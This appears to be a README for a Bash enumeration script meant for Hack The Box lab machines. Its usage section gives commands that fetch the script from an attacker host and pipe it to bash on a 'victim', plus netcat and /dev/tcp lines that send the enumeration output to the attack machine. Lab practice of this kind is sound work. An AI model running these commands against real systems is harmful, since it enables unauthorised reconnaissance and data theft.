GNU/Linux enumeration script written in BASH.
Created to enumerate GNU/Linux machines on Hack The Box. Can possibly be used against UNIX machines.
Visuals taken from HIGH ON COFFEE'S enumeration script.
HOW TO USE:
-
Upload script to victim:
- bash linSurvey.sh
- (as needed) bash linSurvey.sh | tee /tmp/linSurvey.txt (saves a file on victim machine)
-
Use wget and pipe to bash:
- wget YOUR_IP_ADDR/linSurvey.sh -O- | bash
- The following transfers the output to your attack machine (no files on victim)
- On Attack machine: nc -nvvls YOUR_IP_ADDR -p YOUR_PORT > linSurvey.txt && cat linSurvey.txt
- On Attack machine: python3 -m http.server 80
- On Victim: wget YOUR_IP_ADDR/linSurvey.sh -O- | bash | nc -nvvq1 YOUR_IP_ADDR YOUR_PORT
- On Victim: (IF NO NETCAT) wget YOUR_IP_ADDR/linSurvey.sh -O- | bash > /dev/tcp/YOUR_IP_ADDR/YOUR_PORT (AS NEEDED)
Enjoy